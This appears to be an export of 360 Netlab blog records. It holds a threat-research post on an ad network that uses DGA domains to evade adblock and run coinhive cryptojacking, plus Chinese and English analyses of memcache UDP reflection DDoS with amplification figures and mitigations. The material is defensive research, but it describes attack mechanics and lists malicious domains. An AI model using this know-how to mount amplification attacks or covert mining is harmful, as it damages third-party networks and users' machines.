https://github.com/Yhonay/antipopads/blob/master/hosts 5. http://www.infzm.com/content/131666 6. http://hackernews.cc/archives/14794 7. https://censys.io/domain?q="coinhive.min.js"

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"We recently noticed that one of the ad network provider started to perform in-browser coinhive cryptojacking when users visit websites which use this provider’s ad network service.\n\nAs early as mid 2017, this ad network provider has been using domain DGA technology to generate seemingly random domains to bypass adblock to ensure that the ads it serves can reach the end users. The typical domains look like this : [az]{8,14}\\.(bid|com), we call it **DGA.popad**.\n\nStarting from 2017-12, the bar got raised again and we began to see these DGA.popad domains participating in cryptojacking without end-users acknowledgement.\n\nThe confrontation between ad network companies and ad blocking plug-ins is nothing new, but ad network participating web mining using dga domains deserves our attention.\n\n#### This Ad Network Provider in a Nut Shell\n\nAs this simple figure shows, most of the advertisements are provided by ad network companies when users visit websites, ad network acts as an important bridge between advertisers and publishers(the website users visit). For more information about Adnetwork please refer to [1].\n \n\n\nAdvertisement in internet is so popular in nowadays, that you can be quite sure most top content site will not only serve numerous visitors the content, but also redirect the traffic to some adnetwork company to sell advertisement. Through this traffic, an adnetwork company technically can deliver anything to the end-users, good, bad, or ugly. \n\nOn the other side, most end users do not like advertisement very much when they browse websites, that is why plug-ins like adblock are so popular. As declared in Chrome Store, the adblock plug-in owns 40 million users.\n\n\n\nHowever, adnetwork providers are not so keen about this idea as this surely impact their profitability. So, to avoid being blocked, this ad network provider uses dga domains to host its advertisements. As these DGA.popad domain names are not fixed and changed daily, blocking them become more difficult. \n\nPart of these **DGA.popad** domains are shown as below. For those who don’t have necessary resource to track these domains, this [**GitHub page**](https://github.com/Yhonay/antipopads/blob/master/hosts) lists the DGA.popad domain names this ad network provider uses.\n\n```\nzyleqnzmvupg.com\nzylokfmgrtzv.com\nzymaevtin.bid\nzzevmjynoljz.bid\nzziblxasbl.bid\nzzvjaqnkq.bid\nzzwzjidz.bid\n```\n\n#### Starting from 2017-12, DGA.popad Are Used for Coinhive Cryptojacking\n\nWe know in-browser cryptojacking uses JavaScript from providers, on a web page to mine for cryptocurrencies. There has been some top websites such as Pirate Bay [6] being reported to mine cryptocurrency by leveraging end users’ computing power when the users visit their webpages. \n\nIn this case, these DGA.popad domains were found performing cryptojacking when we were doing an internet scale web mining measurement, and monitoring on Alexa top 300k domains, described in our previous blogs [here](__GHOST_URL__/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon) and [here](__GHOST_URL__/https-blog-netlab-360-com-the-list-of-top-alexa-websites-with-web-mining-code-embedded-on-their-homepage-cn/). \n\nDuring our measurement, we found these DGA.popad domains:\n\n - having a strong connection with coinhive family domains in DNS traffic\n - serving coinhive.min.js web miner from coinhive family\n - at least since December 2017\n - ranking as high as around 2000 in Alexa top site list. For example, arfttojxv.com ranks 1999 according to Censys:\n\n```\n1999 arfttojxv.com\n2011 vimenhhpqnb.com\n2071 ftymjfywuyv.com\n2192 wpqmptpavn.com\n2442 buhxsaifjxupaj.com\n2965 jeksffryglas.com\n3026 wkmuxmlk.com\n```\n\n\nFor a fact check, we tried to visit one of this website, the moment we load the page, CPU utilization soared to 100%:\n\n\n\nAnd we also noticed that the favicon.ico from the DGA.popad sites also runs as a web miner. As shown below: \n\n\n\n#### The Traffic Source of These DGA.popad Domains\n\n
By using our DNSMon system, we can find the content websites which the end users first visit and then redirected to DGA.popad domains. We looked up the history of the last two months, and the result suggests that the majority of these impacted are websites providing porn and downloading services. Some of the domain names are as follows: \n\n```\nwww.javjunkies.com\nhitomi.la\nbtdb.to\nouo.io\nwww.torrentkitty.tv\nwww.jkforum.net\nrarbg.is\nhpjav.com\ntheporndude.com\nwww.veporn.live\nwww.thisav.com\nwatchjavonline.com\nsyndication.exosrv.com\nsvscomics.com\nopenload.co\nancensored.com\nwww.javdoe.com\ntorrentsgroup.com\nouo.press\njavfor.me\nimg.yt\nwww.viralvideos.pro\nwww.jisutiyu.com\nwww.javqd.com\nwww.freebunker.com\nwww5.javmost.com\nv.pptv.com\nsyndication.exdynsrv.com\nsukebei.nyaa.si\nstreamango.com\nsharemods.com\npopjav.com\nho.lazada.com.my\nfmovies.pe\nfaptitans.com\ndzyqqwixizp.com\ndailyuploads.net\n```\n\n#### A Detailed Process Description\n\nLet's take a close look at the whole data flow using the first website in the list. To illustrate how this provider works around adblock, let’s run two different scenarios, first without adblock, then with adblock on.\n\n###### With Adblock Disabled\n\nThe process is as follows:\n\n- **#1** No. 237 visit **www.javjunkies.com**/main/. This is a porn site, the java-script at the page's ads position will try to visit this provider's domain.\n- **#2** No. 254 a request to **serve.popads.net**, a standard domain hosted by this provider. Here it is trying to get a URL for the coming advertisement.\n- **#3** No. 268 will try to request for the ad link to get the final advertisement URI, (red box highlighted). Note in addition to get the final advertisement URI, there is also a script to get **coinhive.min.js**, so cryptojacking will happen. \n\n\n\n\n\n###### With Adblock Enabled\n\nMost of the steps are the same with above scenario, but with adblock on, serve.popads.net is replaced with one of the **DGA.popad** domain to serve the advertisement. The whole process is as follows: \n\n - **#1** No. 449, another request to **www.javjunkies.com**\n - **#2** Since adblock is enabled, domain serve.popad.net was blocked. 
This provider's js code will switched to one of the DGA.popad domain name **tncexvzu.com**. No.486 is a request for the ad link to get the final advertisement URI\n - **#3** No.495 will load the advertisement, as well as the cryptojacking.\n\n\n\n\n#### The Impact and Mining Profits of DGA.popad Domains\n\n\nThe Impact:\n\n-\tThese cryptojacking actions started at least since December 2017\n-\tThe affected users may be quite a lot, since these DGA.popad domains have as high as **Alexa scores around 2000**\n-\tWe are not able to make a detailed assessment. This is because only part of all the traffic passing DGA.popad and serve.popads.net will be inserted a web miner, but we are not sure which part will be selected, for now.\n\nWe have no idea about the mining profits:\n\n-\tWe do make sure **T3z562MP2Zg1lIa7RUJy19d67woeZmJJ** is the most used site_key by this ad provider.\n-\tBut we cannot find the related wallet address, or the profits, according to coinhive and Monero's policy.\n\nWe will continue to keep an eye on such domain name behavior, if you have more detailed or insights, please feel free to ping us on [twitter](https://twitter.com/360Netlab) or leave a message. \n\n\n#### References\n1.\thttps://en.wikipedia.org/wiki/Advertising_network\n2.\thttps://www.google.com.hk/search?newwindow=1&safe=strict&q=anti+adblock&spell=1&sa=X&ved=0ahUKEwiPvMn31prYAhVIopQKHR1mCHMQvwUIIigA&biw=1920&bih=1067\n3.\thttps://www.reddit.com/r/firefox/comments/4wpd23/popads\\_just\\_announced\\_that\\_they\\_have\\_a\\_new\\_method/\n4.\thttps://github.com/Yhonay/antipopads/blob/master/hosts\n5.\thttp://www.infzm.com/content/131666\n6.\thttp://hackernews.cc/archives/14794\n7.\thttps://censys.io/domain?q=%22coinhive.min.js%22\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

100

post

2018-03-01T04:30:57.000Z

63873b9a8b1c1e0007f52f17

what-we-know-about-memcache-udp-reflection-ddos

2021-05-08T05:10:47.000Z

public

published

2018-03-01T08:33:46.000Z

Memcache UDP反射放大攻击技术分析

<!--kg-card-begin: markdown--><p>本篇技术blog，由360信息安全部<span style="font-family:Times New Roman">0kee Team</span>、360网络安全研究院、360-CERT共同发布。</p> <p>Memcache UDP 反射放大攻击（以下简称 Memcache DRDoS）在最近的一周里吸引了安全社区的较多注意。以下介绍我们对该类型攻击观察到的情况。</p> <h4 id="poc2017">在PoC 2017 会议上的原始报告</h4> <p>Memcache DRDoS，由360信息安全部<span style="font-family:Times New Roman">0kee Team</span>在2017-06 附近首先发现，并于 2017-11 在 <a href="http://powerofcommunity.net/2017.htm">PoC 2017</a> 会议上做了公开报告。会议报告在 <a href="http://powerofcommunity.net/poc2017/shengbao.pdf">这里</a>，其中详细介绍了攻击的原理和潜在危害。</p> <p>在这份文档中，作者指出这种攻击的特点：</p> <ul> <li>memcache 放大倍数超高，至少可以超过50k；</li> <li>memcache 服务器（案例中的反射点）数量较多，2017-11时估算全球约有 60k 服务器可以被利用，并且这些服务器往往拥有较高的带宽资源。</li> </ul> <p>基于以上特点，作者认为该攻击方式可以被利用来发起大规模的DDoS攻击，某些小型攻击团队也可能因此获得原先没有的大流量攻击能力。</p> <h4 id="ddosmon">在 DDoSMon 上观察到的现网趋势</h4> <p>自批露以来，我们就一直利用 <a href="https://ddosmon.net/insight">DDoSMon 的统计页面</a> 持续监控Memcache DRDoS在实际现网中的情况。在过去的几个月中，这种类型攻击的频率和单次破坏性都不大，但是自2018-02-24开始，这种情况发生了较大变化。</p> <p>近期，Memcache DRDoS 的攻击频率上升到了平时的10+倍，从每天小于50件，上升到每天300~400件，直到今天的1484件（实际上，离今天结束还有1个小时），如下图所示。</p> <p><img src="__GHOST_URL__/content/images/2018/03/memcache.drdos.trend.1month-update.png" alt="" loading="lazy"></p> <p>需要指出，当前 Memcache DRDoS 仍然还不是DDoS的主流。即使在反射类DDoS中，也只占 1% 以下（按攻击事件计），排在 DNS、CLDAP、NTP、SSDP、CharGen、L2TP、BitTorrent、Portmap、SNMP的后面。</p> <p><img src="__GHOST_URL__/content/images/2018/03/memcache.drdos.trend.1month.distribution.png" alt="" loading="lazy"></p> <h4 id="memcachedrdos">我们在现网中对 Memcache DRDoS 攻击方式的测试结果</h4> <p>我们对现网实际环境做了测试，结合分析我们捕获的实际攻击载荷，有以下内容值得关注：</p> <ul> <li>这种反射攻击的放大比率，在理想的测试环境中，可以稳定的测得 1k~60k之间的放大倍数；</li> <li>在现网实际环境中， 60k 的放大倍数，也是可以稳定的测得的；</li> <li>上述实测结果，与最初报告者0kee team的估计、<a href="https://www.us-cert.gov/ncas/alerts/TA14-017A">US-CERT安全通告</a>中的提法，基本是一致的；</li> <li>此外我们分析了现网实际发生的攻击负载。到目前为止，部分负载的构造是有问题，可能会导致memcache服务崩溃，并不能稳定的打出最大放大倍数。但是这里涉及的技术改进并不困难，攻击者容易做出响应调整。</li> </ul> <p>另外，我们对将放大倍数调整到 60k 以上做了一些初步分析。我们怀疑这个比例是可以继续显著提高的，但具体技术细节不会在这里讨论。</p> <h4 id="memcachedrdos">当前已知 Memcache DRDoS 攻击的案例</h4> <p>2月27日，Qrator Labs 在 medium.com 上 <a href="https://medium.com/@qratorlabs/the-memcached-amplification-attack-reaching-500-gbps-b439a7b83c98">批露</a> 了一次DDoS攻击。按照文章的说法，这次攻击确信就是 UDP 11211 端口上的 memcache DRDoS，攻击流量峰值达到 480Gbps。</p> <p>除了这个案例以外，我们确认有更大的攻击已经实际发生，但并未被公开报道。</p> <h4 id="">当前已知各国运营商、安全社区的应对措施</h4> <p>目前已经有多个相关安全通告，部分列出如下：</p> <ul> <li>通告类：多个主要设备厂商、安全厂商、CERT已经发布通告，例如 <a href="https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/">CloudFlare</a>、<a href="https://medium.com/@qratorlabs/the-memcached-amplification-attack-reaching-500-gbps-b439a7b83c98">Qrator Labs</a>、<a href="https://www.arbornetworks.com/blog/asert/memcached-reflection-amplification-description-ddos-attack-mitigation-recommendations/">Arbor Networks</a>、<a href="https://www.us-cert.gov/ncas/alerts/TA14-017A">US-CERT</a>，等等</li> <li>预防和防御类：包括 <a href="https://mailman.nanog.org/pipermail/nanog/2018-March/094350.html">NTT</a> 在内的多个ISP 已经对 UDP 11211 采取限速措施。</li> </ul> <p>应对建议方面，ISP、网络管理员、企业用户可以从很多渠道获得应对建议，例如 <a href="http://www.senki.org/memcached-on-port-11211-udp-tcp-being-exploited/">这里</a> 。我们建议：</p> <ul> <li>各运营商 ISP、云服务厂商，考虑在自己的网络内对UDP 11211 采取限速措施</li> <li>各开发者和 memcache 管理者，考虑自查 memcache 设定ACL</li> </ul> <p>总体而言，一方面，我们开始担忧1Tbps以上的DDoS攻击案例今后会比较频繁的出现，DDoS攻击开始从 G 时代进入 T 时代（Gbps vs Tbps）；另一方面，我们必须指出至少在当前 Memcache DRDoS 还不是DDoS 攻击的主流，比例还在 1% 以下（按次数统计）。</p> <!--kg-card-end: markdown-->

本篇技术blog，由360信息安全部0kee Team、360网络安全研究院、360-CERT共同发布。 Memcache UDP 反射放大攻击（以下简称 Memcache DRDoS）在最近的一周里吸引了安全社区的较多注意。以下介绍我们对该类型攻击观察到的情况。 在PoC 2017 会议上的原始报告 Memcache DRDoS，由360信息安全部0kee Team在2017-06 附近首先发现，并于 2017-11 在 PoC 2017 会议上做了公开报告。会议报告在 这里，其中详细介绍了攻击的原理和潜在危害。 在这份文档中，作者指出这种攻击的特点： * memcache 放大倍数超高，至少可以超过50k； * memcache 服务器（案例中的反射点）数量较多，2017-11时估算全球约有 60k 服务器可以被利用，并且这些服务器往往拥有较高的带宽资源。 基于以上特点，作者认为该攻击方式可以被利用来发起大规模的DDoS攻击，某些小型攻击团队也可能因此获得原先没有的大流量攻击能力。 在 DDoSMon 上观察到的现网趋势 自批露以来，我们就一直利用 DDoSMon 的统计页面 持续监控Memcache DRDoS在实际现网中的情况。在过去的几个月中，这种类型攻击的频率和单次破坏性都不大，但是自2018-02-24开始，这种情况发生了较大变化。 近期，Memcache DRDoS 的攻击频率上升到了平时的10+倍，从每天小于50件，上升到每天300~400件，直到今天的1484件（实际上，离今天结束还有1个小时），如下图所示。 需要指出，当前 Memcache DRDoS 仍然还不是DDoS的主流。即使在反射类DDoS中，也只占 1% 以下（按攻击事件计），排在 DNS、CLDAP、NTP、SSDP、CharGen、L2TP、BitTorrent、Portmap、SNMP的后面。 我们在现网中对 Memcache DRDoS 攻击方式的测试结果 我们对现网实际环境做了测试，结合分析我们捕获的实际攻击载荷，有以下内容值得关注： * 这种反射攻击的放大比率，在理想的测试环境中，可以稳定的测得 1k~60k之间的放大倍数； * 在现网实际环境中， 60k 的放大倍数，也是可以稳定的测得的； * 上述实测结果，与最初报告者0kee team的估计、US-CERT安全通告中的提法，基本是一致的； * 此外我们分析了现网实际发生的攻击负载。到目前为止，部分负载的构造是有问题，可能会导致memcache服务崩溃，并不能稳定的打出最大放大倍数。但是这里涉及的技术改进并不困难，攻击者容易做出响应调整。 另外，我们对将放大倍数调整到 60k 以上做了一些初步分析。我们怀疑这个比例是可以继续显著提高的，但具体技术细节不会在这里讨论。 当前已知 Memcache DRDoS 攻击的案例 2月27日，Qrator Labs 在 medium.com 上 批露 了一次DDoS攻击。按照文章的说法，这次攻击确信就是 UDP 11211 端口上的 memcache DRDoS，攻击流量峰值达到 480Gbps。 除了这个案例以外，我们确认有更大的攻击已经实际发生，但并未被公开报道。 当前已知各国运营商、安全社区的应对措施 目前已经有多个相关安全通告，部分列出如下： * 通告类：多个主要设备厂商、安全厂商、CERT已经发布通告，例如 CloudFlare、Qrator Labs、Arbor Networks、US-CERT，等等 * 预防和防御类：包括 NTT 在内的多个ISP 已经对 UDP 11211 采取限速措施。 应对建议方面，ISP、网络管理员、企业用户可以从很多渠道获得应对建议，例如 这里 。我们建议： * 各运营商 ISP、云服务厂商，考虑在自己的网络内对UDP 11211 采取限速措施 * 各开发者和 memcache 管理者，考虑自查 memcache 设定ACL 总体而言，一方面，我们开始担忧1Tbps以上的DDoS攻击案例今后会比较频繁的出现，DDoS攻击开始从 G 时代进入 T 时代（Gbps vs Tbps）；另一方面，我们必须指出至少在当前 Memcache DRDoS 还不是DDoS 攻击的主流，比例还在 1% 以下（按次数统计）。

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"本篇技术blog，由360信息安全部<span style=\"font-family:Times New Roman\">0kee Team</span>、360网络安全研究院、360-CERT共同发布。\n\nMemcache UDP 反射放大攻击（以下简称 Memcache DRDoS）在最近的一周里吸引了安全社区的较多注意。以下介绍我们对该类型攻击观察到的情况。\n\n\n#### 在PoC 2017 会议上的原始报告\nMemcache DRDoS，由360信息安全部<span style=\"font-family:Times New Roman\">0kee Team</span>在2017-06 附近首先发现，并于 2017-11 在 [PoC 2017](http://powerofcommunity.net/2017.htm) 会议上做了公开报告。会议报告在 [这里](http://powerofcommunity.net/poc2017/shengbao.pdf)，其中详细介绍了攻击的原理和潜在危害。\n\n在这份文档中，作者指出这种攻击的特点：\n\n - memcache 放大倍数超高，至少可以超过50k；\n - memcache 服务器（案例中的反射点）数量较多，2017-11时估算全球约有 60k 服务器可以被利用，并且这些服务器往往拥有较高的带宽资源。\n\n基于以上特点，作者认为该攻击方式可以被利用来发起大规模的DDoS攻击，某些小型攻击团队也可能因此获得原先没有的大流量攻击能力。\n\n#### 在 DDoSMon 上观察到的现网趋势\n\n自批露以来，我们就一直利用 [DDoSMon 的统计页面](https://ddosmon.net/insight) 持续监控Memcache DRDoS在实际现网中的情况。在过去的几个月中，这种类型攻击的频率和单次破坏性都不大，但是自2018-02-24开始，这种情况发生了较大变化。\n\n近期，Memcache DRDoS 的攻击频率上升到了平时的10+倍，从每天小于50件，上升到每天300~400件，直到今天的1484件（实际上，离今天结束还有1个小时），如下图所示。\n\n\n\n需要指出，当前 Memcache DRDoS 仍然还不是DDoS的主流。即使在反射类DDoS中，也只占 1% 以下（按攻击事件计），排在 DNS、CLDAP、NTP、SSDP、CharGen、L2TP、BitTorrent、Portmap、SNMP的后面。\n\n\n\n#### 我们在现网中对 Memcache DRDoS 攻击方式的测试结果\n\n我们对现网实际环境做了测试，结合分析我们捕获的实际攻击载荷，有以下内容值得关注：\n\n - 这种反射攻击的放大比率，在理想的测试环境中，可以稳定的测得 1k~60k之间的放大倍数；\n - 在现网实际环境中， 60k 的放大倍数，也是可以稳定的测得的；\n - 上述实测结果，与最初报告者0kee team的估计、[US-CERT安全通告](https://www.us-cert.gov/ncas/alerts/TA14-017A)中的提法，基本是一致的；\n - 此外我们分析了现网实际发生的攻击负载。到目前为止，部分负载的构造是有问题，可能会导致memcache服务崩溃，并不能稳定的打出最大放大倍数。但是这里涉及的技术改进并不困难，攻击者容易做出响应调整。\n\n另外，我们对将放大倍数调整到 60k 以上做了一些初步分析。我们怀疑这个比例是可以继续显著提高的，但具体技术细节不会在这里讨论。\n\n#### 当前已知 Memcache DRDoS 攻击的案例\n\n2月27日，Qrator Labs 在 medium.com 上 [批露](https://medium.com/@qratorlabs/the-memcached-amplification-attack-reaching-500-gbps-b439a7b83c98) 了一次DDoS攻击。按照文章的说法，这次攻击确信就是 UDP 11211 端口上的 memcache DRDoS，攻击流量峰值达到 480Gbps。\n\n除了这个案例以外，我们确认有更大的攻击已经实际发生，但并未被公开报道。\n\n#### 当前已知各国运营商、安全社区的应对措施\n\n目前已经有多个相关安全通告，部分列出如下：\n\n - 通告类：多个主要设备厂商、安全厂商、CERT已经发布通告，例如 [CloudFlare](https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/)、[Qrator Labs](https://medium.com/@qratorlabs/the-memcached-amplification-attack-reaching-500-gbps-b439a7b83c98)、[Arbor Networks](https://www.arbornetworks.com/blog/asert/memcached-reflection-amplification-description-ddos-attack-mitigation-recommendations/)、[US-CERT](https://www.us-cert.gov/ncas/alerts/TA14-017A)，等等\n - 预防和防御类：包括 [NTT](https://mailman.nanog.org/pipermail/nanog/2018-March/094350.html) 在内的多个ISP 已经对 UDP 11211 采取限速措施。\n\n应对建议方面，ISP、网络管理员、企业用户可以从很多渠道获得应对建议，例如 [这里](http://www.senki.org/memcached-on-port-11211-udp-tcp-being-exploited/) 。我们建议：\n\n - 各运营商 ISP、云服务厂商，考虑在自己的网络内对UDP 11211 采取限速措施\n - 各开发者和 memcache 管理者，考虑自查 memcache 设定ACL\n\n\n总体而言，一方面，我们开始担忧1Tbps以上的DDoS攻击案例今后会比较频繁的出现，DDoS攻击开始从 G 时代进入 T 时代（Gbps vs Tbps）；另一方面，我们必须指出至少在当前 Memcache DRDoS 还不是DDoS 攻击的主流，比例还在 1% 以下（按次数统计）。\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

101

post

2018-03-01T09:53:55.000Z

63873b9a8b1c1e0007f52f18

memcache-ddos-a-little-bit-more-en

2021-05-08T05:10:33.000Z

public

published

2018-03-01T15:10:40.000Z

Memcache DDoS: A Little Bit More

<!--kg-card-begin: markdown--><p>This blog is a joint effort of 360 <span style="font-family:Times new roman">0</span>kee Team, 360 CERT, and 360 Netlab.</p> <p>Memcache UDP Reflection Amplification DDoS (hereinafter referred as Memcache DRDoS) has attracted quite some attentions from security community this week. We are not going to repeat the public known facts, and this blog will only touch base with some more details,</p> <h4 id="originaldisclosureonpoc2017meeting">Original Disclosure on POC 2017 Meeting</h4> <p>Memcache DRDoS, was first disclosed around 2017-06, by <span style="font-family:Times new roman">0</span>kee team from our company. Here is the <a href="http://powerofcommunity.net/poc2017/shengbao.pdf">detailed document</a> first published in November 2017, at <a href="http://powerofcommunity.net/2017">PoC 2017</a> conference</p> <p>In this document, we point out:</p> <ul> <li>An extremely high <strong>bandwidth amplification factor, at least 50k</strong></li> <li>The number of potential reflection points is large, estimated <strong>around 60k utilizable memcache server in November, 2017</strong>. And these servers tend to have higher bandwidth resources</li> </ul> <h4 id="currenttrendsonddosmon">Current Trends on DDoSMon</h4> <p>Since the disclosure, we have been using <a href="https://ddosmon.net/insight">DDosMon</a> to monitor memcache DRDoS on the backbone level. In the past few months, this kind of attack is not very popular, but things have greatly changed since February 24th, 2018.</p> <p>Just in a few days, Memcache DRDoS rise up from less than 50 events per day, up to 300~400 per day. And today's number has already reached 1484, with an hour to go. These numbers are shown in the following figure:</p> <p><img src="__GHOST_URL__/content/images/2018/03/memcache.drdos.trend.1month-update-1.png" alt="" loading="lazy"></p> <p>It should be noted that current Memcache DrDoS is still not the mainstream of DDoS.<br> It accounts for less than 1% in all DRDoS, ranks after DNS, CLDAP, NTP, SSDP, CharGen, L2TP, BitTorrent, Portmap and SNMP.</p> <p><img src="__GHOST_URL__/content/images/2018/03/memcache.drdos.trend.1month.distribution.png" alt="" loading="lazy"></p> <h4 id="therealamplificationfactorswetestsonrealnetwork">The Real Amplification Factors We Tests on Real Network</h4> <p>So how big the amp factor we should be expecting in real attacks? We performed some tests, as well as analyzed some real attack payloads we captured, and the following are some numbers:</p> <ul> <li>The amplification factor, from 1k to 60k, can be stably achieved in our testing environment</li> <li>We reached the maximum 60k amplification factor in real network</li> <li>These test results are consistent with those of the original <span style="font-family:Times new roman">0</span>kee team estimates, and the <a href="Https://www.us-cert.gov/ncas/alerts/TA14-017A">US-CERT Alarm</a>.</li> <li>The maximum 60k amplification factor can not be achieved by the attack payload we have captured. Those payloads are somehow problematic, may cause the memcache server crash, so the attack cannot continue. But an easy fix will take care the bug, the attacker would be able to achieve a 60k amplification factor eventually.</li> <li>What is more, even an amplification factor higher than 60k can be made, but we will not discuss the details here.</li> </ul> <h4 id="currentlyknownattackcases">Currently Known Attack Cases</h4> <p>Akamai has just reported <a href="https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html">a DDoS attack case</a>, with the peak attack traffic at 1.3Tbps, a new Akamai record after 2016 Mirai DDoS attack against KrebsonSecuritycom.</p> <p>On February 27, Qrator Labs reported <a href="https://medium.com/@qratorlabs/THE-MEMCACHED-AMPLIFICATION-ATTACK-REACHING-500-GBPS-B439A7B83C98">a DDoS attack case</a> on medium.com. According to the article, this attack is on UDP 11211 port, and convinced Memcache DRDoS, with the peak attack traffic as high as 480Gbps.</p> <p>Beside these reported cases, we believe other big attacks have actually occurred but not publicly reported.</p> <h4 id="currentcountermeasurestakenbyispsandsecuritycommunities">Current Countermeasures Taken by ISPs and Security Communities</h4> <p>Currently, a number of related security notices have already released, part of which:</p> <ul> <li>Notifications: Multiple security vendors, certs have issued notices, such as <a href="https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/">CloudFlare</a>, <a href="https://medium.com/@qratorlabs/the-memcached-amplification-attack-reaching-500-gbps-b439a7b83c98">Qrator Labs</a>, <a href="https://www.arbornetworks.com/blog/asert/memcached-reflection-amplification-description-ddos-attack-mitigation-recommendations/">Arbor Networks</a>, <a href="https://www.us-cert.gov/ncas/alerts/TA14-017A">US-CERT</a>, and so on</li> <li>Defensive Actions: Multiple ISPs, including <a href="https://mailman.nanog.org/pipermail/nanog/2018-March/094350.html">NTT</a> have placed rate limits on UDP 11211 port.</li> </ul> <p>At this point, we probably will start to see more bigger attacks, &quot;G era&quot; to &quot;<strong>T era of DDoS</strong>&quot; might have started.</p> <h4 id="ourddosmonmemcachepage">Our DDosMon Memcache page</h4> <p>When event like this happens, one of the security community needs is the visibility, we have temporally setup a webpage <a href="https://ddosmon.net/memcached_amplification_attack">here</a> on our DDosMon page to track in near real-time about the Memcache attacks, it displays the Memcache attack trend, victims and some statistic, feel free to take a look.</p> <!--kg-card-end: markdown-->

This blog is a joint effort of 360 0kee Team, 360 CERT, and 360 Netlab. Memcache UDP Reflection Amplification DDoS (hereinafter referred as Memcache DRDoS) has attracted quite some attentions from security community this week. We are not going to repeat the public known facts, and this blog will only touch base with some more details, Original Disclosure on POC 2017 Meeting Memcache DRDoS, was first disclosed around 2017-06, by 0kee team from our company. Here is the detailed document first published in November 2017, at PoC 2017 conference In this document, we point out: * An extremely high bandwidth amplification factor, at least 50k * The number of potential reflection points is large, estimated around 60k utilizable memcache server in November, 2017. And these servers tend to have higher bandwidth resources Current Trends on DDoSMon Since the disclosure, we have been using DDosMon to monitor memcache DRDoS on the backbone level. In the past few months, this kind of attack is not very popular, but things have greatly changed since February 24th, 2018. Just in a few days, Memcache DRDoS rise up from less than 50 events per day, up to 300~400 per day. And today's number has already reached 1484, with an hour to go. These numbers are shown in the following figure: It should be noted that current Memcache DrDoS is still not the mainstream of DDoS. It accounts for less than 1% in all DRDoS, ranks after DNS, CLDAP, NTP, SSDP, CharGen, L2TP, BitTorrent, Portmap and SNMP. The Real Amplification Factors We Tests on Real Network So how big the amp factor we should be expecting in real attacks? We performed some tests, as well as analyzed some real attack payloads we captured, and the following are some numbers: * The amplification factor, from 1k to 60k, can be stably achieved in our testing environment * We reached the maximum 60k amplification factor in real network * These test results are consistent with those of the original 0kee team estimates, and the US-CERT Alarm. * The maximum 60k amplification factor can not be achieved by the attack payload we have captured. Those payloads are somehow problematic, may cause the memcache server crash, so the attack cannot continue. But an easy fix will take care the bug, the attacker would be able to achieve a 60k amplification factor eventually. * What is more, even an amplification factor higher than 60k can be made, but we will not discuss the details here. Currently Known Attack Cases Akamai has just reported a DDoS attack case, with the peak attack traffic at 1.3Tbps, a new Akamai record after 2016 Mirai DDoS attack against KrebsonSecuritycom. On February 27, Qrator Labs reported a DDoS attack case on medium.com. According to the article, this attack is on UDP 11211 port, and convinced Memcache DRDoS, with the peak attack traffic as high as 480Gbps. Beside these reported cases, we believe other big attacks have actually occurred but not publicly reported. Current Countermeasures Taken by ISPs and Security Communities Currently, a number of related security notices have already released, part of which: * Notifications: Multiple security vendors, certs have issued notices, such as CloudFlare, Qrator Labs, Arbor Networks, US-CERT, and so on * Defensive Actions: Multiple ISPs, including NTT have placed rate limits on UDP 11211 port. At this point, we probably will start to see more bigger attacks, "G era" to "T era of DDoS" might have started. Our DDosMon Memcache page When event like this happens, one of the security community needs is the visibility, we have temporally setup a webpage here on our DDosMon page to track in near real-time about the Memcache attacks, it displays the Memcache attack trend, victims and some statistic, feel free to take a look.

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"This blog is a joint effort of 360 <span style=\"font-family:Times new roman\">0</span>kee Team, 360 CERT, and 360 Netlab.\n\nMemcache UDP Reflection Amplification DDoS (hereinafter referred as Memcache DRDoS) has attracted quite some attentions from security community this week. We are not going to repeat the public known facts, and this blog will only touch base with some more details,\n\n#### Original Disclosure on POC 2017 Meeting\n\nMemcache DRDoS, was first disclosed around 2017-06, by <span style=\"font-family:Times new roman\">0</span>kee team from our company. Here is the [detailed document](http://powerofcommunity.net/poc2017/shengbao.pdf) first published in November 2017, at [PoC 2017](http://powerofcommunity.net/2017) conference\n\n\nIn this document, we point out:\n\n - An extremely high **bandwidth amplification factor, at least 50k**\n - The number of potential reflection points is large, estimated **around 60k utilizable memcache server in November, 2017**. And these servers tend to have higher bandwidth resources\n\n#### Current Trends on DDoSMon\n\nSince the disclosure, we have been using [DDosMon](https://ddosmon.net/insight) to monitor memcache DRDoS on the backbone level. In the past few months, this kind of attack is not very popular, but things have greatly changed since February 24th, 2018.\n\nJust in a few days, Memcache DRDoS rise up from less than 50 events per day, up to 300~400 per day. And today's number has already reached 1484, with an hour to go. These numbers are shown in the following figure:\n\n\n\nIt should be noted that current Memcache DrDoS is still not the mainstream of DDoS.\nIt accounts for less than 1% in all DRDoS, ranks after DNS, CLDAP, NTP, SSDP, CharGen, L2TP, BitTorrent, Portmap and SNMP.\n\n\n\n\n#### The Real Amplification Factors We Tests on Real Network\n\nSo how big the amp factor we should be expecting in real attacks? We performed some tests, as well as analyzed some real attack payloads we captured, and the following are some numbers:\n\n - The amplification factor, from 1k to 60k, can be stably achieved in our testing environment\n - We reached the maximum 60k amplification factor in real network\n - These test results are consistent with those of the original <span style=\"font-family:Times new roman\">0</span>kee team estimates, and the [US-CERT Alarm](Https://www.us-cert.gov/ncas/alerts/TA14-017A).\n - The maximum 60k amplification factor can not be achieved by the attack payload we have captured. Those payloads are somehow problematic, may cause the memcache server crash, so the attack cannot continue. But an easy fix will take care the bug, the attacker would be able to achieve a 60k amplification factor eventually.\n - What is more, even an amplification factor higher than 60k can be made, but we will not discuss the details here.\n\n#### Currently Known Attack Cases\n\nAkamai has just reported [a DDoS attack case](https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html), with the peak attack traffic at 1.3Tbps, a new Akamai record after 2016 Mirai DDoS attack against KrebsonSecuritycom.\n\nOn February 27, Qrator Labs reported [a DDoS attack case](https://medium.com/@qratorlabs/THE-MEMCACHED-AMPLIFICATION-ATTACK-REACHING-500-GBPS-B439A7B83C98) on 